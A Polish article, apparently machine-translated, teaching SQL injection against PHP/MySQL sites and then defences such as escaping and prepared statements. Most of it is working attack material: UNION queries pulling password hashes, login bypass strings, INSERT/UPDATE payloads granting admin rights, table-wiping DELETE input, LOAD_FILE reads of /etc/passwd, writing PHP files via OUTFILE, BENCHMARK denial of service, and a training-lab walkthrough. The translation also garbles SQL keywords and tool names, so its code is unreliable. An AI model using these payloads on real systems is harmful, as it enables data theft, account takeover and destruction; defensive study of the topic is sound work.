Wstrzyknięcie SQL. Co to jest? Jak znaleźć wersje MySQL

Nieostrożność i nieuwaga to dwa powody pisania kodu podatnego na zastrzyki SQL. Trzeci powód – niewiedza, powinien skłonić programistę do pogłębienia wiedzy, a nawet zmiany zawodu.

Wstrzyknięcie SQL ( Wstrzyknięcie SQL) - słaby punkt co następuje na skutek niedostatecznej weryfikacji i przetwarzania danych, które są przesyłane od użytkownika i pozwala modyfikować i wykonywać zapytania nieoczekiwane przez kod programu SQL.

Wstrzykiwanie SQL to szeroko rozpowszechniona luka w zabezpieczeniach Internetu, którą można łatwo wykorzystać bez specjalnych programów i nie wymaga rozległej wiedzy technicznej. Wykorzystanie tej luki otwiera drzwi do wielkich możliwości, takich jak:

  • kradzież danych – 80%;
  • odmowa usługi – 10 procent;
  • podstawienie lub zniszczenie danych – 2-3%;
  • inne przypadki i intencje.

Istnieją również różne programy do testowania bezpieczeństwa stron internetowych pod kątem wszelkiego rodzaju zastrzyków JS i SQL.

Szczegółowe wyjaśnienie

W tym artykule postaram się wyjaśnić główne zagrożenia pojawiające się podczas interakcji z bazą danych MySQL. Dla jasności podam przykład prostej struktury bazy danych, która jest typowa dla większości projektów:

UTWÓRZ BAZY DANYCH „aktualności”; UŻYJ „wiadomości”; # # tabela wiadomości # UTWÓRZ TABELĘ `news` (`id` int(11) NIE NULL auto_inkrementacja, `title` varchar(50) domyślnie NULL, `data` data i godzina domyślnie NULL, `tekst` tekst, KLUCZ PODSTAWOWY (`id` )) TYP=MójISAM; # # dodaj trochę danych # WSTAW `news` SET `id`="1", `title`="pierwsza wiadomość", `data`="2005-06-25 16:50:20", `text`=" tekst wiadomości"; WSTAW `news` SET `id`="2", `title`="drugi news", `date`="2005-06-24 12:12:33", `text`="wiadomości testowe"; # # tabela użytkowników # UTWÓRZ TABELĘ `użytkownicy` (`id` int(11) NIE NULL auto_inkrementacja, `login` varchar(50) domyślnie NULL, `hasło` varchar(50) domyślnie NULL, `admin` int(1) NULL DOMYŚLNIE „0”, KLUCZ PODSTAWOWY („id”)) TYPE=MyISAM; # # dodaj kilku użytkowników, jednego z uprawnieniami administratora, drugiego prostego # WSTAW `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 "; WSTAW `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Widzimy, że żądanie jest tworzone w zależności od wartości $_GET["id"]. Aby sprawdzić podatność, wystarczy zmienić ją na wartość, która może spowodować błąd w wykonaniu zapytania SQL.

Oczywiście może nie pojawić się żaden błąd, ale nie oznacza to, że w rezultacie nie wystąpi żaden błąd

„Masz błąd w składni SQL; sprawdź podręcznik odpowiadający wersji serwera MySQL, aby uzyskać właściwą składnię do użycia w pobliżu „” w linii 1”

lub wynik

http://test.com/index.php?id=2-1

jeśli istnieje luka, powinna dać wynik podobny do

http://test.com/index.php?id=1.

Podobne luki pozwalają na modyfikację żądania w części parametru WHERE. Pierwszą rzeczą, jaką zrobi atakujący po wykryciu takiej luki, jest sprawdzenie, ile pól jest używanych w żądaniu. W tym celu ustawiany jest celowo nieprawidłowy identyfikator, aby wykluczyć wyprowadzenie prawdziwych informacji i łączony z żądaniem z taką samą liczbą pustych pól.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

liczba „null” musi odpowiadać liczbie pól użytych w żądaniu.

Jeśli zapytanie zgłosi błąd, dodawana jest kolejna pusta wartość, aż błąd zniknie i zwrócony zostanie wynik z pustymi danymi. Następnie połączone pola zostają zastąpione wartościami, które można wizualnie zaobserwować na stronie.

Na przykład:

http://test.com/index.php?id=-1+UNION+SELECT+null

Teraz na stronie, na której miał się pojawić nagłówek wiadomości, pojawi się qwerty.

Jak znaleźć wersje MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+WYBIERZ +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Jak odzyskać login bieżącego użytkownika bazy danych?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Jaka jest nazwa używanej bazy danych?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Jak uzyskać inne dane z innych tabel?

WYBIERZ * Z `news` GDZIE `id`=-1 UNIA WYBIERZ null, `hasło`, null, null Z `users` GDZIE `id`="1";

Jest to prosty sposób na poznanie hasła lub skrótu hasła administratora. Jeśli bieżący użytkownik ma uprawnienia dostępu do bazy „mysql”, atakujący bez najmniejszego problemu otrzyma skrót hasła administratora.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Teraz jego wybór jest tylko kwestią czasu.

Szukaj

Wyszukiwanie jest jednym z najbardziej wrażliwych miejsc, ponieważ jednocześnie przesyłana jest duża liczba parametrów zapytania. Przykład prostego zapytania wyszukującego według słowa kluczowego:

WYBIERZ * Z `news` GDZIE `title` JAK "%$search%" LUB `text` JAK "%$search%"

$search to słowo wysyłane z formularza. Osoba atakująca może przekazać $search="# do zmiennej, teraz żądanie będzie wyglądać następująco:

WYBIERZ * Z `wiadomości` GDZIE `tytuł` JAK "%"#%" LUB `tekst` JAK "%"#%";

W związku z tym zamiast wyników wyszukiwania danego słowa kluczowego zostaną wyświetlone wszystkie dane. Umożliwia to również korzystanie z opisanej powyżej funkcji agregacji zapytań.

Korzystanie z parametru ZAMÓWIENIE

Często można zauważyć, że wpisując parametry wyszukiwania, czy wyświetlając informacje, pozwalają one użytkownikowi na sortowanie danych według określonych pól. Od razu powiem, że wykorzystanie tej luki nie jest zbyt niebezpieczne, gdyż spowoduje błąd przy próbie łączenia żądań, jednak w połączeniu z lukami w innych polach istnieje niebezpieczeństwo skomentowania tego parametru.

http://test.com/index.php?sort=nazwa

parametr ORDER tworzony jest w zależności od zmiennej $sort

Zostanie wygenerowane następujące żądanie:

WYBIERZ * Z `news` GDZIE `tytuł` JAK "%"/*%" LUB `tekst` JAK "%"/*%" ZAMÓW PRZEZ */

w ten sposób komentując jeden z warunków i parametr ORDER

Teraz możesz ponownie połączyć zapytanie, przypisując $sort=*/ UNION SELECT...

Jako możliwość wykorzystania luki w zabezpieczeniach tego parametru:

WYBIERZ * Z `użytkowników` ZAMÓW WEDŁUG DŁUGOŚCI (hasło);

Umożliwi sortowanie użytkowników w zależności od długości hasła, pod warunkiem, że zostanie ono zapisane w „czystej” postaci.

Upoważnienie

Spróbujmy teraz rozważyć opcje zastrzyków SQL występujących podczas autoryzacji użytkownika. Zazwyczaj żądanie sprawdzające poprawność danych autoryzacyjnych wygląda następująco:

WYBIERZ * Z `użytkowników` GDZIE `login`="$login" ORAZ `hasło`="$hasło";

gdzie $login i $password to zmienne przekazywane z formularza. Takie zapytanie zwraca dane użytkownikowi, jeśli się powiedzie, i pusty wynik, jeśli się nie powiedzie. W związku z tym, aby przekazać autoryzację, osoba atakująca musi jedynie zmodyfikować żądanie tak, aby zwróciło wynik niezerowy. Podano login odpowiadający prawdziwemu użytkownikowi i zamiast hasła „ OR „1” = „1” lub jakiś prawdziwy warunek (1, „a” = „a”, 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 MIĘDZY 1 A 3). W związku z tym żądanie zostanie wygenerowane w następujący sposób:

WYBIERZ * Z `użytkowników` GDZIE `login`="admin" ORAZ `hasło`="" LUB "1"="1";

co zwróci wynik, a w rezultacie doprowadzi do nieautoryzowanej autoryzacji. Co się stanie, jeśli hasła w tabeli zostaną zaszyfrowane? Następnie sprawdzanie hasła jest po prostu „wyłączane” poprzez komentowanie wszystkiego, co pojawia się po `login`. W formularzu zamiast loginu przypisywany jest login prawdziwego użytkownika i „#, komentując w ten sposób sprawdzenie hasła.

WYBIERZ * Z `użytkowników` GDZIE `login`="admin"#" ORAZ `hasło`="12345"

jako opcja „LUB `id`=2#

WYBIERZ * Z `użytkowników` GDZIE `login`="" LUB `id`=2#" ORAZ `hasło`="12345"

WYBIERZ * Z `użytkowników` GDZIE `login`="" LUB `admin`="1"#" ORAZ `hasło`="12345"

Dużym błędem jest sprawdzanie hasła w ten sposób:

WYBIERZ * Z `użytkowników` GDZIE `login`="$login" ORAZ `hasło` JAK "$hasło"

ponieważ w tym przypadku hasło % jest odpowiednie dla dowolnego logowania

WSTAW I AKTUALIZUJ

Jednak nie tylko polecenia SELECT są słabym punktem SQL. INSERT i UPDATE mogą być nie mniej podatne na ataki. Załóżmy, że witryna ma możliwość rejestracji użytkowników. Zapytanie dodające nowego użytkownika:

Luka w jednym z pól pozwala na modyfikację żądania o niezbędne dane. W polu logowania dodajemy użytkownika", "hasło", 1)# tym samym dodając użytkownika z uprawnieniami administratora.

WSTAW `użytkownicy` SET `login`="użytkownik", `hasło`="hasło", `admin`="0";

Załóżmy, że pole `admin` znajduje się przed polem `login`, więc sztuczka z zastąpieniem danych znajdujących się po polu `login` nie działa. Pamiętajmy, że składnia polecenia INSERT pozwala na dodanie nie tylko jednej linii, ale kilku. Przykład luki w polu logowania: $login= użytkownik", "hasło"), (1, "haker", "hasło")#

WSTAW DO ZESTAWU `users` (`admin`, `login`, `hasło`) WARTOŚCI (0, "użytkownik", "hasło"), (1, "haker", "hasło")#", "hasło") ;

W ten sposób tworzone są 2 wpisy, jeden z uprawnieniami prostego użytkownika, drugi z pożądanymi uprawnieniami administratora.

Podobna sytuacja z UPDATE

Dodanie dodatkowych pól do zmiany:

$login=", `hasło`="", `admin`="1

Potem podobna prośba

AKTUALIZUJ `users` SET `login`="czajniczek" GDZIE `id`=2;

Zmodyfikowano w następujący sposób:

AKTUALIZUJ `użytkownicy` SET `login`="", `password`="", `admin`="1" GDZIE `id`=2;

Co się stanie? Użytkownik o ID 2 zmieni login i hasło na puste wartości i otrzyma uprawnienia administratora. Lub na wszelki wypadek

$login=", `hasło`="" GDZIE `id` =1#

Login i hasło administratora będą puste.

USUWAĆ

Tutaj wszystko jest proste, nie będziesz mógł uzyskać ani zmienić żadnych danych, ale zawsze możesz usunąć niepotrzebne dane.

$id=1 LUB 1=1

USUŃ Z `news` GDZIE `id`="1" LUB 1=1; // czyści wszystkie wpisy w tabeli.

Zamiast 1=1 może wystąpić dowolny prawdziwy warunek wspomniany powyżej. Można zapisać parametr LIMIT, który ograniczy liczbę usuniętych linii, ale nie zawsze można go po prostu zakomentować.

USUŃ Z `news` GDZIE `id`="1" LUB 1=1# LIMIT 1;

Praca z plikami poprzez wstrzykiwanie SQL

Szczerze wątpię, żeby coś takiego mogło się zdarzyć gdziekolwiek, ale żeby było sprawiedliwie, takie metody też trzeba opisać. Gdy włączone są uprawnienia do plików, można używać poleceń LOAD_FILE i OUTFILE.

Ich niebezpieczeństwo można ocenić na podstawie poniższych pytań:

WYBIERZ * Z `news` GDZIE `id`=-1 union wybierz null,LOAD_FILE("/etc/passwd"),null,null; WYBIERZ * Z `news` GDZIE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Ale to nie koniec wszystkich kłopotów.

WYBIERZ * Z `news` GDZIE `id`=-1 UNION SELECT null,"",null,null Z `news` do pliku wyjściowego "/home/test/www/test.php";

W ten sposób piszemy plik zawierający kod PHP. To prawda, że ​​​​oprócz kodu będzie w nim jeszcze kilka wpisów zerowych, ale w żaden sposób nie wpłynie to na wydajność kodu PHP. Istnieje jednak kilka warunków, dzięki którym metody te będą działać:

  • Przywilej FILE jest włączony dla bieżącego użytkownika bazy danych;
  • Prawa do odczytu i zapisu tych plików przysługują użytkownikowi, na którym działa serwer MySQL, bezwzględna ścieżka do pliku;
  • mniej istotnym warunkiem jest to, że rozmiar pliku musi być mniejszy niż max_allowed_packet, ale ponieważ w MySQL 3.23 największy rozmiar pakietu może wynosić 16 MB, a w 4.0.1 i więcej, rozmiar pakietu jest ograniczony jedynie ilością dostępnej pamięci, do teoretycznego maksimum 2 GB ten warunek jest zwykle zawsze dostępny.

Magiczne cytaty

Magiczne cudzysłowy uniemożliwiają użycie zastrzyków SQL w zmiennych łańcuchowych, ponieważ automatycznie wycofują się ze wszystkich " i ", które pochodzą z $_GET i $_POST. Nie dotyczy to jednak wykorzystania podatności w parametrach całkowitych lub ułamkowych, choć z tym wyjątkiem, że nie będzie możliwości użycia „. W tym przypadku pomaga funkcja char.

WYBIERZ * Z `news` GDZIE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS poprzez wstrzyknięcie SQL.

Prawie zapomniałem powiedzieć, a eksperci SQL potwierdzą, że operacja UNION jest możliwa tylko w MySQL >=4.0.0. Osoby posiadające projekty na poprzednich wersjach odetchnęły z ulgą :) Jednak nie wszystko jest tak bezpieczne jak się wydaje na pierwszy rzut oka. Czasami trudno jest podążać za logiką atakującego. „Jeśli nie uda mi się zhakować, to przynajmniej poniosę porażkę” – pomyśli haker, wpisując funkcję BENCHMARK w celu uzyskania przykładowego żądania

WYBIERZ * Z `wiadomości` GDZIE `id`=BENCHMARK(1000000,MD5(TERAZ()));

Zajęło mi to od 12 do 15 sekund. Dodanie zera - 174 sekundy. Po prostu nie mogłem podnieść ręki, żeby zrobić więcej. Oczywiście na wydajnych serwerach takie rzeczy zrobią się znacznie szybciej, ale...BENCHMARK pozwala na inwestowanie pojedynczo. Lubię to:

WYBIERZ * Z `wiadomości` GDZIE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(TERAZ())));

Albo nawet tak

WYBIERZ * Z `wiadomości` GDZIE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(TERAZ()))));

A liczba zer jest ograniczona jedynie „życzliwością” tego, kto je wpisuje.

Myślę, że nawet BARDZO potężna maszyna nie będzie w stanie łatwo przełknąć takich żądań.

Konkluzja

To wszystko. W tym artykule starałem się jak najdokładniej omówić rodzaje podatności, jakie popełniają programiści podczas tworzenia programów korzystających z baz danych MySQL. Jestem jednak więcej niż pewien, że nie jest to pełna lista.

Warto pamiętać o zasadach przeciwdziałania wstrzykiwaniom SQL

  • Nie ufaj ŻADNYM danym pochodzącym od użytkownika. Nie mówimy tylko o danych przesyłanych w tablicach $_GET i $_POST. Nie zapomnij o $_COOKIE i innych częściach nagłówków HTTP. Należy pamiętać, że można je łatwo wymienić.
  • Nie powinieneś polegać na opcji „magicznych cudzysłowów” w PHP, która prawdopodobnie bardziej przeszkadza niż pomaga. Wszystkie dane przesyłane do bazy danych muszą być podsumowane według typu z polami bazy danych. ($id=(int)$_GET["id"]) lub chronione przez funkcje mysql_real_escape_string lub mysql_real_escape_string.
  • mysql_real_escape_string nie ucieka przed % i _, więc nie należy go używać w połączeniu z LIKE.
  • Nie powinieneś też zbytnio polegać na poprawnie napisanym mod_rewrite. Są to jedynie sposoby tworzenia „wygodnych” adresów URL, ale z pewnością nie stanowią sposobu na ochronę przed zastrzykami SQL.
  • Wyłącz raportowanie błędów.
  • Nie pomagaj złym gościom. Nawet jeśli błąd zostanie zidentyfikowany, brak informacji na jego temat poważnie utrudni jego zastosowanie. Pamiętaj o różnicy pomiędzy etapem rozwoju a wersją roboczą. Wyjście błędu i inne szczegółowe informacje - Twój sojusznik na etapie rozwoju oraz sojusznik napastnika w wersji roboczej. Nie należy ich też ukrywać poprzez komentowanie w kodzie HTML, na każde 1000 odwiedzających będzie 1, który i tak znajdzie takie rzeczy.
  • Obsługuj błędy.
  • Napisz przetwarzanie zapytań SQL w taki sposób, aby informacja o nich była zapisywana w niektórych logach lub wysyłana pocztą.
  • Nie przechowuj danych dostępu do bazy danych w plikach, które nie są przetwarzane przez PHP jako kod.
  • Nie sądzę, żebym komukolwiek odkryła Amerykę, ale z własnego doświadczenia mogę powiedzieć, że taka praktyka jest dość powszechna. Zwykle jest to plik z rozszerzeniem *.inc
  • Nie twórz bazy danych „superużytkownika”.
  • Nadawaj jedynie uprawnienia niezbędne do wykonywania określonych zadań.
  • W wyszukiwaniu warto ograniczyć minimalną i maksymalną liczbę znaków, które stanowią parametry zapytania.
  • Dla uczciwego użytkownika wystarczy od 3 do 60-70 znaków, aby zaspokoić jego zainteresowania wyszukiwawcze, a jednocześnie zapobiegasz sytuacjom, w których wyszukiwanym hasłem będzie objętość „Wojna i pokój”.
  • Zawsze sprawdzaj liczbę rekordów zwróconych po zapytaniu

Prawie 90% stron napisanych w PHP Jest taki błąd logiczny, można to szczególnie zaobserwować, gdy żądanie jest realizowane na podstawie identyfikatora otrzymanego od użytkownika.Jeśli ręcznie nadamy skryptowi nieistniejący identyfikator, zobaczymy całkiem ciekawe wyniki pracy niektórych skryptów , zamiast zwrócić 404, program w najlepszym wypadku nic nie zrobi i wyświetli pustą stronę.

Bezpieczny SQL dla Ciebie.

Liczba witryn i stron w Internecie stale rośnie. Każdy, kto może, stawia na rozwój. A początkujący programiści sieciowi bardzo często używają niebezpiecznego i starego kodu. A to stwarza wiele luk dla atakujących i hakerów. I tego właśnie używają. Jedną z najbardziej klasycznych podatności jest wstrzykiwanie SQL.

Trochę teorii

Wiele osób wie, że większość witryn i usług w Internecie używa do ich przechowywania baz danych SQL. Jest to ustrukturyzowany język zapytań, który umożliwia zarządzanie hurtowniami danych i administrowanie nimi. Istnieje wiele różnych wersji systemów zarządzania bazami danych - Oracle, MySQL, Postgre. Niezależnie od nazwy i typu, zapytania o dane wykorzystują w ten sam sposób. W tym właśnie tkwi potencjalna luka. Jeśli programista nie był w stanie poprawnie i bezpiecznie przetworzyć żądania, atakujący może to wykorzystać i zastosować specjalną taktykę, aby uzyskać dostęp do bazy danych, a stamtąd przejąć kontrolę nad całą witryną.

Aby uniknąć takich sytuacji, należy odpowiednio zoptymalizować kod i uważnie monitorować, które żądanie jest przetwarzane w jaki sposób.

Sprawdzanie zastrzyków SQL

Aby określić obecność luk w sieci, istnieje wiele gotowych zautomatyzowanych systemów oprogramowania. Możesz jednak przeprowadzić prostą kontrolę ręcznie. Aby to zrobić, musisz udać się na jedną z przeglądanych witryn i spróbować wywołać błąd bazy danych w pasku adresu. Na przykład skrypt na stronie internetowej może nie przetwarzać żądań i nie może ich obcinać.

Na przykład istnieje pewna_strona/index.php?id=25

Najłatwiej jest wycenić po 25 i wysłać zapytanie. Jeśli nie wystąpi żaden błąd, wszystkie żądania zostaną odfiltrowane w witrynie i poprawnie przetworzone lub ich dane wyjściowe zostaną wyłączone w ustawieniach. Jeśli strona ponownie załadowała się z problemami, oznacza to, że istnieje luka w zabezpieczeniach umożliwiająca wstrzyknięcie SQL.

Po wykryciu możesz spróbować się go pozbyć.

Aby zaimplementować tę lukę, musisz trochę wiedzieć. Jedną z nich jest UNION. Łączy wiele wyników zapytań w jedno. W ten sposób możesz obliczyć liczbę pól w tabeli. Przykład pierwszego żądania wygląda następująco:

  • Some_site/index.php?id=25 WYBÓR UNII 1.

W większości przypadków taki wpis powinien wygenerować błąd. Oznacza to, że liczba pól nie jest równa 1. Zatem wybierając opcje od 1 wzwyż, możesz ustawić ich dokładną liczbę:

  • Some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

Oznacza to, że gdy błąd przestanie się pojawiać, oznacza to, że liczba pól jest prawidłowa.

Istnieje również alternatywne rozwiązanie tego problemu. Na przykład, gdy liczba pól jest duża - 30, 60 lub 100. Jest to polecenie GROUP BY. Grupuje wyniki zapytania według jakiejś cechy, na przykład id:

  • Some_site/index.php?id=25 GRUPUJ PO 5.

Jeśli nie otrzymano żadnych błędów, oznacza to, że pól jest więcej niż 5. Zatem podstawiając opcje z dość szerokiego zakresu, można obliczyć, ile ich jest w rzeczywistości.

Ten przykład wstrzyknięcia SQL jest przeznaczony dla początkujących, którzy chcą spróbować swoich sił w testowaniu swojej witryny internetowej. Należy pamiętać, że w Kodeksie karnym istnieje artykuł dotyczący nieuprawnionego dostępu do cudzej własności.

Główne rodzaje zastrzyków

Istnieje kilka opcji implementowania luk poprzez wstrzyknięcie SQL. Oto najpopularniejsze metody:

    wtrysk UNII. Prosty przykład tego typu został już omówiony powyżej. Jest to realizowane ze względu na błąd w sprawdzaniu przychodzących danych, które nie są w żaden sposób filtrowane.

    Wstrzykiwanie SQL oparte na błędach. Jak sama nazwa wskazuje, ten typ również wykorzystuje błędy, wysyłając wyrażenia, które są niepoprawne składniowo. Następnie przechwytywane są nagłówki odpowiedzi i analizowane, które można następnie wykorzystać do wykonania wstrzyknięcia SQL.

    Ułożony wtrysk. Luka ta jest wykrywana w wyniku wykonywania żądań sekwencyjnych. Charakteryzuje się dodaniem „;” na końcu. To podejście jest najczęściej wdrażane, aby uzyskać dostęp do implementacji odczytu i zapisu danych lub kontrolować funkcje systemu operacyjnego, jeśli pozwalają na to uprawnienia.

Systemy oprogramowania do wyszukiwania podatności SQL

Dostępne do wykonywania zastrzyków SQL programy zwykle składają się z dwóch komponentów - skanowania witryny pod kątem możliwych luk w zabezpieczeniach i wykorzystywania ich do uzyskiwania dostępu do danych. Istnieją takie narzędzia dla prawie wszystkich znanych platform. Ich funkcjonalność znacznie ułatwia sprawdzenie witryny pod kątem możliwości włamania za pomocą wstrzykiwania SQL.

Mapa kwadratowa

Bardzo wydajny skaner współpracujący z większością znanych systemów DBMS. Obsługuje różne techniki wstrzykiwania SQL. Posiada zdolność automatycznego rozpoznawania rodzaju skrótu hasła i łamania go za pomocą słownika. Istnieje również funkcjonalność pobierania i wysyłania plików z serwera.

Instalacja w środowisku Linux odbywa się za pomocą poleceń:

  • klon git https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

W systemie Windows dostępna jest zarówno linia poleceń, jak i opcja graficznego interfejsu użytkownika.

Wstrzyknięcie jSQL

jSQL Injection to wieloplatformowe narzędzie służące do testowania wykorzystania luk w zabezpieczeniach SQL. Napisany w Javie, dlatego w systemie musi być zainstalowane środowisko JRE. Możliwość przetwarzania żądań nagłówków i plików cookie. Posiada wygodny interfejs graficzny.

Instalacja tego pakietu oprogramowania przebiega w następujący sposób:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| głowa-n 1`

Uruchom za pomocą polecenia java -jar ./jsql-injection-v*.jar

Aby rozpocząć sprawdzanie witryny pod kątem luk SQL, należy w górnym polu wpisać jej adres. Są oddzielne dla GET i POST. Jeżeli wynik będzie pozytywny, w lewym oknie pojawi się lista dostępnych stolików. Możesz je przeglądać i poznać poufne informacje.

Aby wyszukać panele administracyjne, skorzystaj z zakładki „Strona administracyjna”. Automatycznie wyszukuje rekordy systemowe użytkowników uprzywilejowanych przy użyciu specjalnych szablonów. Od nich możesz uzyskać jedynie skrót hasła. Ale jest on również dostępny w narzędziach programu.

Po znalezieniu wszystkich luk i wstrzyknięciu niezbędnych żądań narzędzie umożliwi przesłanie pliku na serwer lub, odwrotnie, pobranie go stamtąd.

Zrzut SQLi v.7

Program ten jest łatwym w użyciu narzędziem do wyszukiwania i implementowania luk w zabezpieczeniach SQL. ONZ produkuje to na bazie tzw. dorków. Ich listy można znaleźć w Internecie. Słowa kluczowe SQL Injection to specjalne wzorce zapytań. Z ich pomocą potencjalnie możesz je znaleźć poprzez dowolną wyszukiwarkę.

Narzędzia szkoleniowe

Witrynaitsecgames.com posiada specjalny zestaw narzędzi, który pozwala na podstawie przykładów pokazać, jak wykonać zastrzyk SQL i go przetestować. Aby z niego skorzystać, należy go pobrać i zainstalować. Archiwum zawiera zestaw plików reprezentujących strukturę witryny. Do jego instalacji potrzebny będzie zestaw serwerów WWW Apache, MySQL i PHP dostępnych w systemie.

Po rozpakowaniu archiwum do folderu serwera WWW należy udać się pod adres wprowadzony podczas instalacji tego oprogramowania. Otworzy się strona rejestracji użytkownika. Tutaj musisz wprowadzić swoje dane i kliknąć „Utwórz”. Po przeniesieniu użytkownika do nowego okna system zaproponuje wybranie jednej z opcji testowania. Wśród nich znajdują się zarówno opisywane wtryski, jak i wiele innych zadań testowych.

Warto przyjrzeć się przykładowi zastrzyku SQL, takiego jak GET/Search. Tutaj musisz go wybrać i kliknąć „Hack”. Użytkownikowi zostanie wyświetlony pasek wyszukiwania i imitacja określonej witryny z filmami. Filmy można oglądać długo. Ale jest ich tylko 10. Możesz na przykład spróbować wejść do Iron Mana. Wyświetli się film, co oznacza, że ​​strona działa i znajdują się w niej tabele. Teraz musimy sprawdzić, czy skrypt filtruje znaki specjalne, w szczególności cytat. Aby to zrobić, musisz dodać „" do paska adresu. Co więcej, należy to zrobić po nazwie filmu. Strona wyświetli błąd Błąd: Wystąpił błąd w składni SQL; sprawdź odpowiednią instrukcję do wersji serwera MySQL, aby uzyskać odpowiednią składnię w pobliżu „%” w linii 1, co wskazuje, że znaki są nadal przetwarzane niepoprawnie. Oznacza to, że możesz spróbować zastąpić swoją prośbę. Ale najpierw musisz obliczyć liczbę pól. Aby to zrobić, użyj kolejności według, która jest wpisana po cudzysłowie: http://testsites.com/sqli_1.php?title=Iron+Man” kolejność według 2 --&action=search.

To polecenie wyświetli po prostu informację o filmie, czyli liczba pól jest większa niż 2. Podwójny łącznik informuje serwer, że inne żądania powinny zostać odrzucone. Teraz trzeba iterować, podstawiając coraz większe wartości, aż wyświetli się błąd. W rezultacie okazuje się, że będzie 7 pól.

Teraz czas wyciągnąć coś przydatnego z bazy danych. Będziesz musiał nieco zmodyfikować żądanie w pasku adresu, sprowadzając je do tej formy: http://testsites.com/sqli_1.php?title=Iron+Man" union wybierz 1, baza danych (), użytkownik (), 4 ,hasło,6,7 od użytkowników --&action=search.W wyniku jego wykonania zostaną wyświetlone linie ze skrótami haseł, które można łatwo zamienić na zrozumiałe znaki za pomocą jednego z serwisów online.I przy odrobinie magii i wybierając nazwę pola logowania, możesz uzyskać dostęp do rekordu innej osoby, na przykład administratora serwisu.

W produkcie dostępnych jest mnóstwo różnych rodzajów zastrzyków, z którymi można ćwiczyć. Warto pamiętać, że korzystanie z tych umiejętności w Internecie lub na prawdziwych stronach może podlegać karze karnej.

Zastrzyki i PHP

Z reguły za niezbędne przetwarzanie żądań przychodzących od użytkownika odpowiada kod PHP. Dlatego właśnie na tym poziomie trzeba zbudować ochronę przed iniekcjami SQL w PHP.

  • Dane muszą być zawsze przetworzone przed zapisaniem w bazie danych. Można to osiągnąć, używając istniejących wyrażeń lub ręcznie organizując zapytania. Tutaj również warto wziąć pod uwagę, że wartości liczbowe są konwertowane na potrzebny typ;
  • Unikaj pojawiania się w żądaniu różnych struktur kontrolnych.

Teraz trochę o zasadach tworzenia zapytań w MySQL w celu ochrony przed iniekcjami SQL.

Podczas pisania jakichkolwiek wyrażeń zapytań ważne jest oddzielenie danych od słów kluczowych SQL.

  • WYBIERZ * Z tabeli GDZIE imię = Zerg.

W tym projekcie system może pomyśleć, że Zerg to nazwa pola, więc należy ją ująć w cudzysłów.

  • WYBIERZ * Z tabeli GDZIE nazwa = „Zerg”.

Są jednak sytuacje, w których sama wartość zawiera cudzysłowy.

  • WYBIERZ * Z tabeli WHERE nazwa = „Wybrzeże Kości Słoniowej”.

Tutaj przetworzona zostanie tylko część cat-d, a resztę można postrzegać jako polecenie, które oczywiście nie istnieje. Dlatego wystąpi błąd. Oznacza to, że tego rodzaju dane wymagają kontroli. Aby to zrobić, użyj ukośnika odwrotnego - \.

  • WYBIERZ * Z tabeli WHERE nazwa = „Wybrzeże Kości Słoniowej”.

Wszystko powyższe dotyczy ciągów. Jeżeli akcja występuje z liczbą, to nie potrzeba żadnych cudzysłowów ani ukośników. Należy jednak wymusić ich konwersję na wymagany typ danych.

Zaleca się, aby nazwa pola była ujęta w cudzysłów. Symbol ten znajduje się po lewej stronie klawiatury, razem ze znakiem tyldy „~”. Jest to konieczne, aby MySQL mógł dokładnie odróżnić nazwę pola od jego słowa kluczowego.

Dynamiczna praca z danymi

Bardzo często zapytania generowane dynamicznie służą do uzyskania dowolnych danych z bazy danych. Na przykład:

  • WYBIERZ * Z tabeli WHERE liczba = "$liczba".

Tutaj zmienna $number jest przekazywana jako definicja wartości pola. Co się stanie, jeśli włączy się w to Wybrzeże Kości Słoniowej?Błąd.

Oczywiście możesz uniknąć tego problemu, włączając w ustawieniach „magiczne cytaty”. Ale teraz dane będą sprawdzane tam, gdzie jest to konieczne i tam, gdzie nie jest to konieczne. Ponadto, jeśli kod jest napisany ręcznie, możesz poświęcić trochę więcej czasu na samodzielne stworzenie systemu odpornego na włamania.

Aby samodzielnie dodać ukośnik, możesz użyć mysql_real_escape_string.

$number=mysql_real_escape_string($number);

$rok=mysql_real_escape_string($rok);

$query="WSTAW DO tabeli (liczba, rok, klasa) WARTOŚCI („$ liczba”, „$ rok”, 11)”.

Chociaż objętość kodu wzrosła, nadal będzie potencjalnie działać znacznie bezpieczniej.

Elementy zastępcze

Placeholdery to unikalne znaczniki, dzięki którym system wie, że w tym miejscu należy wstawić specjalną funkcję. Na przykład:

$sate = $mysqli->prepare("WYBIERZ dzielnicę OD numeru GDZIE Nazwa=?");

$sate->bind_param("s", $number);

$sate->wykonaj();

Ta sekcja kodu przygotowuje szablon żądania, następnie wiąże zmienną liczbową i wykonuje ją. Takie podejście pozwala oddzielić przetwarzanie żądania od jego realizacji. W ten sposób możesz zabezpieczyć się przed wstrzykiwaniem złośliwego kodu do zapytań SQL.

Co może zrobić atakujący?

Ochrona systemu jest bardzo ważnym czynnikiem, którego nie można zaniedbać. Oczywiście prostą witrynę z wizytówkami łatwiej będzie przywrócić. A co jeśli jest to duży portal, serwis, forum? Jakie mogą być konsekwencje, jeśli nie pomyślisz o bezpieczeństwie?

